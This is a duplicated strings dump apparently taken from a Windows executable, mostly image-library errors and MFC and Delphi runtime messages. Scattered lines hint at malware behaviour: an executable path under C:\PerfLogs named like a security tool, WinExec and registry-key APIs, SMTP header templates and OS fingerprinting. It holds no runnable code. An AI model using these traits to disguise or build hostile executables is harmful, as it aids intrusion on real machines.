.PAVCFileException@@
: %d]
: %d]
(*.*)|*.*||
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
out.prn
out.prn
(*.prn)|*.prn|
(*.prn)|*.prn|
%d.%d
%d.%d
%d/%d
%d/%d
1.6.9
1.6.9
unsupported zlib version
unsupported zlib version
png_read_image: unsupported transformation
png_read_image: unsupported transformation
%d / %d
%d / %d
Bogus message code %d
Bogus message code %d
libpng error: %s
libpng error: %s
libpng warning: %s
libpng warning: %s
1.1.3
1.1.3
bad keyword
bad keyword
libpng does not support gamma background rgb_to_gray
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
Palette is NULL in indexed image
(%d-%d):
(%d-%d):
%ld%c
%ld%c
Service Pack %d
Service Pack %d
Windows 2003
Windows 2003
Windows XP
Windows XP
Windows 2000
Windows 2000
Windows NT
Windows NT
Windows ??
Windows ??
Windows Millenium Edition
Windows Millenium Edition
Windows 98 Second Edition
Windows 98 Second Edition
Windows 98 SP1
Windows 98 SP1
Windows 98
Windows 98
Windows 95 OSR2
Windows 95 OSR2
Windows 95 SP1
Windows 95 SP1
Windows 95
Windows 95
Windows CE
Windows CE
Microsoft Windows Me
Microsoft Windows Me
Microsoft Windows 98
Microsoft Windows 98
Microsoft Windows 95
Microsoft Windows 95
Windows Server 2008 R2
Windows Server 2008 R2
Windows Server 2008
Windows Server 2008
Microsoft Windows 2003
Microsoft Windows 2003
Microsoft Windows XP
Microsoft Windows XP
Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows NT
Microsoft Windows NT
KERNEL32.DLL
KERNEL32.DLL
(*.htm;*.html)|*.htm;*.html
(*.htm;*.html)|*.htm;*.html
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
HTTP/1.0
%s
%s
Reply-To: %s
Reply-To: %s
From: %s
From: %s
To: %s
To: %s
Subject: %s
Subject: %s
Date: %s
Date: %s
Cc: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
%a, %d %b %Y %H:%M:%S
SMTP
SMTP
1.0.6
1.0.6
\shell32.dll
\shell32.dll
;3 #>6.&
;3 #>6.&
'2, / 0&7!4-)1#
'2, / 0&7!4-)1#
msctls_hotkey32
msctls_hotkey32
Corrupt JPEG data: found marker 0xx instead of RST%d
Corrupt JPEG data: found marker 0xx instead of RST%d
Warning: unknown JFIF revision number %d.d
Warning: unknown JFIF revision number %d.d
Corrupt JPEG data: %u extraneous bytes before marker 0xx
Corrupt JPEG data: %u extraneous bytes before marker 0xx
Inconsistent progression sequence for component %d coefficient %d
Inconsistent progression sequence for component %d coefficient %d
Unknown Adobe color transform code %d
Unknown Adobe color transform code %d
Obtained XMS handle %u
Obtained XMS handle %u
Freed XMS handle %u
Freed XMS handle %u
Unrecognized component IDs %d %d %d, assuming YCbCr
Unrecognized component IDs %d %d %d, assuming YCbCr
JFIF extension marker: RGB thumbnail image, length %u
JFIF extension marker: RGB thumbnail image, length %u
JFIF extension marker: palette thumbnail image, length %u
JFIF extension marker: palette thumbnail image, length %u
JFIF extension marker: JPEG-compressed thumbnail image, length %u
JFIF extension marker: JPEG-compressed thumbnail image, length %u
Opened temporary file %s
Opened temporary file %s
Closed temporary file %s
Closed temporary file %s
Ss=%d, Se=%d, Ah=%d, Al=%d
Ss=%d, Se=%d, Ah=%d, Al=%d
Component %d: dc=%d ac=%d
Component %d: dc=%d ac=%d
Start Of Scan: %d components
Start Of Scan: %d components
Component %d: %dhx%dv q=%d
Component %d: %dhx%dv q=%d
Start Of Frame 0xx: width=%u, height=%u, components=%d
Start Of Frame 0xx: width=%u, height=%u, components=%d
Smoothing not supported with nonstandard sampling ratios
Smoothing not supported with nonstandard sampling ratios
RST%d
RST%d
At marker 0xx, recovery action %d
At marker 0xx, recovery action %d
Selected %d colors for quantization
Selected %d colors for quantization
Quantizing to %d colors
Quantizing to %d colors
Quantizing to %d = %d*%d*%d colors
Quantizing to %d = %d*%d*%d colors
%4u %4u %4u %4u %4u %4u %4u %4u
%4u %4u %4u %4u %4u %4u %4u %4u
Unexpected marker 0xx
Unexpected marker 0xx
Miscellaneous marker 0xx, length %u
Miscellaneous marker 0xx, length %u
with %d x %d thumbnail image
with %d x %d thumbnail image
JFIF extension marker: type 0xx, length %u
JFIF extension marker: type 0xx, length %u
Warning: thumbnail image size does not match data length %u
Warning: thumbnail image size does not match data length %u
JFIF APP0 marker: version %d.d, density %dx%d %d
JFIF APP0 marker: version %d.d, density %dx%d %d
= = = = = = = =
= = = = = = = =
Obtained EMS handle %u
Obtained EMS handle %u
Freed EMS handle %u
Freed EMS handle %u
Define Restart Interval %u
Define Restart Interval %u
Define Quantization Table %d precision %d
Define Quantization Table %d precision %d
Define Huffman Table 0xx
Define Huffman Table 0xx
Define Arithmetic Table 0xx: 0xx
Define Arithmetic Table 0xx: 0xx
Unknown APP14 marker (not Adobe), length %u
Unknown APP14 marker (not Adobe), length %u
Unknown APP0 marker (not JFIF), length %u
Unknown APP0 marker (not JFIF), length %u
Adobe APP14 marker: version %d, flags 0xx 0xx, transform %d
Adobe APP14 marker: version %d, flags 0xx 0xx, transform %d
Unsupported marker type 0xx
Unsupported marker type 0xx
Failed to create temporary file %s
Failed to create temporary file %s
Unsupported JPEG process: SOF type 0xx
Unsupported JPEG process: SOF type 0xx
Cannot quantize to more than %d colors
Cannot quantize to more than %d colors
Cannot quantize to fewer than %d colors
Cannot quantize to fewer than %d colors
Cannot quantize more than %d color components
Cannot quantize more than %d color components
Insufficient memory (case %d)
Insufficient memory (case %d)
Not a JPEG file: starts with 0xx 0xx
Not a JPEG file: starts with 0xx 0xx
Quantization table 0xx was not defined
Quantization table 0xx was not defined
Huffman table 0xx was not defined
Huffman table 0xx was not defined
Backing store not supported
Backing store not supported
Arithmetic table 0xx was not defined
Arithmetic table 0xx was not defined
Cannot transcode due to multiple use of quantization table %d
Cannot transcode due to multiple use of quantization table %d
Maximum supported image dimension is %u pixels
Maximum supported image dimension is %u pixels
Empty JPEG image (DNL not supported)
Empty JPEG image (DNL not supported)
Bogus DQT index %d
Bogus DQT index %d
Bogus DHT index %d
Bogus DHT index %d
Bogus DAC value 0x%x
Bogus DAC value 0x%x
Bogus DAC index %d
Bogus DAC index %d
Unsupported color conversion request
Unsupported color conversion request
Too many color components: %d, max %d
Too many color components: %d, max %d
Buffer passed to JPEG library is too small
Buffer passed to JPEG library is too small
JPEG parameter struct mismatch: library thinks size is %u, caller expects %u
JPEG parameter struct mismatch: library thinks size is %u, caller expects %u
Improper call to JPEG library in state %d
Improper call to JPEG library in state %d
Invalid scan script at entry %d
Invalid scan script at entry %d
Invalid progressive parameters at scan script entry %d
Invalid progressive parameters at scan script entry %d
Invalid progressive parameters Ss=%d Se=%d Ah=%d Al=%d
Invalid progressive parameters Ss=%d Se=%d Ah=%d Al=%d
Unsupported JPEG data precision %d
Unsupported JPEG data precision %d
Invalid memory pool code %d
Invalid memory pool code %d
Wrong JPEG library version: library is %d, caller expects %d
Wrong JPEG library version: library is %d, caller expects %d
Component index %d: mismatching sampling ratio %d:%d, %d:%d, %c
Component index %d: mismatching sampling ratio %d:%d, %d:%d, %c
DCT scaled block size %dx%d not supported
DCT scaled block size %dx%d not supported
Invalid component ID %d in SOS
Invalid component ID %d in SOS
NULL row buffer for row %ld, pass %d
NULL row buffer for row %ld, pass %d
Unknown zTXt compression type %d
Unknown zTXt compression type %d
gamma = (%d/100000)
gamma = (%d/100000)
gx=%f, gy=%f, bx=%f, by=%f
gx=%f, gy=%f, bx=%f, by=%f
wx=%f, wy=%f, rx=%f, ry=%f
wx=%f, wy=%f, rx=%f, ry=%f
incorrect gamma=(%d/100000)
incorrect gamma=(%d/100000)
%s: Cannot open
%s: Cannot open
%s: Write error at scanline %lu
%s: Write error at scanline %lu
%s: Seek error at scanline %lu
%s: Seek error at scanline %lu
%u: Sample out of range, max %u
%u: Sample out of range, max %u
%s: Cannot modify tag "%s" while writing
%s: Cannot modify tag "%s" while writing
%s: Unknown %stag %u
%s: Unknown %stag %u
%f: Bad value for "%s"
%f: Bad value for "%s"
%s: Invalid %stag "%s" (not supported by codec)
%s: Invalid %stag "%s" (not supported by codec)
TIFFVSetField ... pass by value not imp.
TIFFVSetField ... pass by value not imp.
%ld: Bad value for "%s"
%ld: Bad value for "%s"
%d: Bad value for "%s"
%d: Bad value for "%s"
Nonstandard tile length %d, convert file
Nonstandard tile length %d, convert file
Nonstandard tile width %d, convert file
Nonstandard tile width %d, convert file
Bad value %ld for "%s" tag ignored
Bad value %ld for "%s" tag ignored
%s: Invalid InkNames value; expecting %d names, found %d
%s: Invalid InkNames value; expecting %d names, found %d
TIFFVGetField ... pass by value not imp.
TIFFVGetField ... pass by value not imp.
Sorry, can not handle images with %d-bit samples
Sorry, can not handle images with %d-bit samples
Sorry, can not handle LogLuv images with %s=%d
Sorry, can not handle LogLuv images with %s=%d
Sorry, LogLuv data must have %s=%d or %d
Sorry, LogLuv data must have %s=%d or %d
Sorry, can not handle image with %s=%d
Sorry, can not handle image with %s=%d
Sorry, LogL data must have %s=%d
Sorry, LogL data must have %s=%d
Sorry, can not handle separated image with %s=%d
Sorry, can not handle separated image with %s=%d
Sorry, can not handle RGB image with %s=%d
Sorry, can not handle RGB image with %s=%d
Sorry, can not handle YCbCr images with %s=%d
Sorry, can not handle YCbCr images with %s=%d
Sorry, can not handle contiguous data with %s=%d, and %s=%d and Bits/Sample=%d
Sorry, can not handle contiguous data with %s=%d, and %s=%d and Bits/Sample=%d
Missing needed %s tag
Missing needed %s tag
Sorry, can not image with %d-bit samples
Sorry, can not image with %d-bit samples
"%s": Bad mode
"%s": Bad mode
Not a TIFF file, bad version number %d (0x%x)
Not a TIFF file, bad version number %d (0x%x)
Not a TIFF file, bad magic number %d (0x%x)
Not a TIFF file, bad magic number %d (0x%x)
%s: Out of memory (TIFF structure)
%s: Out of memory (TIFF structure)
Sample %d out of range, max %u
Sample %d out of range, max %u
Internal error, unknown tag 0x%x
Internal error, unknown tag 0x%x
Tag %d
Tag %d
%s: Read error at scanline %lu, strip %lu; got %lu bytes, expected %lu
%s: Read error at scanline %lu, strip %lu; got %lu bytes, expected %lu
%s: Read error at scanline %lu; got %lu bytes, expected %lu
%s: Read error at scanline %lu; got %lu bytes, expected %lu
%s: Seek error at scanline %lu, strip %lu
%s: Seek error at scanline %lu, strip %lu
%s: Data buffer too small to hold strip %lu
%s: Data buffer too small to hold strip %lu
%s: Read error on strip %lu; got %lu bytes, expected %lu
%s: Read error on strip %lu; got %lu bytes, expected %lu
%s: Read error at row %ld, col %ld, tile %ld; got %lu bytes, expected %lu
%s: Read error at row %ld, col %ld, tile %ld; got %lu bytes, expected %lu
%s: Read error at row %ld, col %ld; got %lu bytes, expected %lu
%s: Read error at row %ld, col %ld; got %lu bytes, expected %lu
%s: Seek error at row %ld, col %ld, tile %ld
%s: Seek error at row %ld, col %ld, tile %ld
%s: Data buffer too small to hold tile %ld
%s: Data buffer too small to hold tile %ld
%s: No space for data buffer at scanline %ld
%s: No space for data buffer at scanline %ld
Compression scheme %u %s encoding is not implemented
Compression scheme %u %s encoding is not implemented
%s %s encoding is not implemented
%s %s encoding is not implemented
%s %s encoding is no longer implemented due to Unisys patent enforcement
%s %s encoding is no longer implemented due to Unisys patent enforcement
Compression scheme %u %s decoding is not implemented
Compression scheme %u %s decoding is not implemented
%s %s decoding is not implemented
%s %s decoding is not implemented
Compression algorithm does not support random access
Compression algorithm does not support random access
Bogus "%s" field, ignoring and calculating from imagelength
Bogus "%s" field, ignoring and calculating from imagelength
TIFF directory is missing required "%s" field, calculating from imagelength
TIFF directory is missing required "%s" field, calculating from imagelength
wrong data type %d for "%s"; tag ignored
wrong data type %d for "%s"; tag ignored
unknown field with tag %d (0x%x) encountered
unknown field with tag %d (0x%x) encountered
No space %s
No space %s
TIFF directory is missing required "%s" field
TIFF directory is missing required "%s" field
incorrect count for field "%s" (%lu, expecting %lu); tag ignored
incorrect count for field "%s" (%lu, expecting %lu); tag ignored
Error fetching data for field "%s"
Error fetching data for field "%s"
%s: Rational with zero denominator (num = %lu)
%s: Rational with zero denominator (num = %lu)
Cannot handle different per-sample values for field "%s"
Cannot handle different per-sample values for field "%s"
cannot read TIFF_ANY type %d for field "%s"
cannot read TIFF_ANY type %d for field "%s"
"%s": Information lost writing value (%g) as (unsigned) RATIONAL
"%s": Information lost writing value (%g) as (unsigned) RATIONAL
Error writing data for field "%s"
Error writing data for field "%s"
%s: Error writing SubIFD directory link
%s: Error writing SubIFD directory link
%s compression support is not configured
%s compression support is not configured
?%s: No space for LogLuv state block
?%s: No space for LogLuv state block
Inappropriate photometric interpretation %d for SGILog compression; %s
Inappropriate photometric interpretation %d for SGILog compression; %s
LogL16Decode: Not enough data at row %d (short %d pixels)
LogL16Decode: Not enough data at row %d (short %d pixels)
LogLuvDecode24: Not enough data at row %d (short %d pixels)
LogLuvDecode24: Not enough data at row %d (short %d pixels)
LogLuvDecode32: Not enough data at row %d (short %d pixels)
LogLuvDecode32: Not enough data at row %d (short %d pixels)
%s: No space for SGILog translation buffer
%s: No space for SGILog translation buffer
No support for converting user data format to LogL
No support for converting user data format to LogL
No support for converting user data format to LogLuv
No support for converting user data format to LogLuv
SGILog compression supported only for %s, or raw data
SGILog compression supported only for %s, or raw data
Unknown data format %d for LogLuv compression
Unknown data format %d for LogLuv compression
Unknown encoding %d for LogLuv compression
Unknown encoding %d for LogLuv compression
%s: No space for state block
%s: No space for state block
%s: Bad code word at scanline %d (x %lu)
%s: Bad code word at scanline %d (x %lu)
%s: %s at scanline %d (got %lu, expected %lu)
%s: %s at scanline %d (got %lu, expected %lu)
%s: Premature EOF at scanline %d (x %lu)
%s: Premature EOF at scanline %d (x %lu)
%s: No space for Group 3/4 reference line
%s: No space for Group 3/4 reference line
%s: No space for Group 3/4 run arrays
%s: No space for Group 3/4 run arrays
%s: Uncompressed data (not supported) at scanline %d (x %lu)
%s: Uncompressed data (not supported) at scanline %d (x %lu)
Fax SubAddress: %s
Fax SubAddress: %s
(%u = 0x%x)
(%u = 0x%x)
%suncompressed data
%suncompressed data
%sEOL padding
%sEOL padding
%s2-d encoding
%s2-d encoding
Improper JPEG sampling factors %d,%d
Improper JPEG sampling factors %d,%d
Apparently should be %d,%d,decompressor will try reading with sampling %d,%d
Apparently should be %d,%d,decompressor will try reading with sampling %d,%d
Improper JPEG strip/tile size, expected %dx%d, got %dx%d
Improper JPEG strip/tile size, expected %dx%d, got %dx%d
RowsPerStrip must be multiple of %d for JPEG
RowsPerStrip must be multiple of %d for JPEG
JPEG tile width must be multiple of %d
JPEG tile width must be multiple of %d
JPEG tile height must be multiple of %d
JPEG tile height must be multiple of %d
BitsPerSample %d not allowed for JPEG
BitsPerSample %d not allowed for JPEG
PhotometricInterpretation %d not allowed for JPEG
PhotometricInterpretation %d not allowed for JPEG
ThunderDecode: %s data at scanline %ld (%lu != %lu)
ThunderDecode: %s data at scanline %ld (%lu != %lu)
PackBitsDecode: discarding %d bytes to avoid buffer overrun
PackBitsDecode: discarding %d bytes to avoid buffer overrun
LZWDecode: Not enough data at scanline %d (short %d bytes)
LZWDecode: Not enough data at scanline %d (short %d bytes)
LZWDecode: Strip %d not terminated with EOI code
LZWDecode: Strip %d not terminated with EOI code
LZWDecode: Bogus encoding, loop in the code table; scanline %d
LZWDecode: Bogus encoding, loop in the code table; scanline %d
LZWDecodeCompat: Not enough data at scanline %d (short %d bytes)
LZWDecodeCompat: Not enough data at scanline %d (short %d bytes)
DumpModeDecode: Not enough data for scanline %d
DumpModeDecode: Not enough data for scanline %d
Horizontal differencing "Predictor" not supported with %d-bit samples
Horizontal differencing "Predictor" not supported with %d-bit samples
"Predictor" value %d not supported
"Predictor" value %d not supported
%u (0x%x)
%u (0x%x)
.PAVCOleException@@
.PAVCOleException@@
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCOleDispatchException@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÃ
zcÃ
C:\PerfLogs\usysdiag.exe
C:\PerfLogs\usysdiag.exe
#include "l.chs\afxres.rc" // Standard components
#include "l.chs\afxres.rc" // Standard components
WinExec
WinExec
RegCreateKeyExA
RegCreateKeyExA
RegCreateKeyA
RegCreateKeyA
GetViewportOrgEx
GetViewportOrgEx
GetViewportExtEx
GetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
SetViewportExtEx
SetViewportExtEx
OffsetViewportOrgEx
OffsetViewportOrgEx
CreateDialogIndirectParamA
CreateDialogIndirectParamA
InternetCanonicalizeUrlA
InternetCanonicalizeUrlA
InternetCrackUrlA
InternetCrackUrlA
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
No help keyword specified.&Cannot change the size of a JPEG image
No help keyword specified.&Cannot change the size of a JPEG image
JPEG error #%d
JPEG error #%d
Alt Clipboard does not support Icons/Menu '%s' is already being used by another form
Alt Clipboard does not support Icons/Menu '%s' is already being used by another form
No help found for %s#No context-sensitive help installed$No topic-based help system installed
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Resource %s not found
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Property %s does not exist
Unsupported clipboard format
Unsupported clipboard format
Class %s not found
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot create file "%s". %s
Cannot open file "%s". %s
Cannot open file "%s". %s
Invalid stream format$''%s'' is not a valid component name
Invalid stream format$''%s'' is not a valid component name
Invalid property value List capacity out of bounds (%d)
Invalid property value List capacity out of bounds (%d)
List count out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Error reading %s%s%s: %s
Ancestor for '%s' not found
Ancestor for '%s' not found
Cannot assign a %s to a %s
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
%s (%s, line %d)
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
System Error. Code: %d.
Invalid variant operation%Invalid variant operation (%s%.8x)
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
Operation not supported
External exception %x
External exception %x
Interface not supported
Interface not supported
Invalid pointer operation
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Invalid class typecast0Access violation at address %p. %s of address %p
Privileged instruction(Exception %s in module %s at %p.
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
No argument for format '%s'"Variant method calls not supported
!'%s' is not a valid integer value
!'%s' is not a valid integer value
I/O error %d
I/O error %d
Integer overflow Invalid floating point operation
Integer overflow Invalid floating point operation
1.1.0.0
1.1.0.0
(*.*)
(*.*)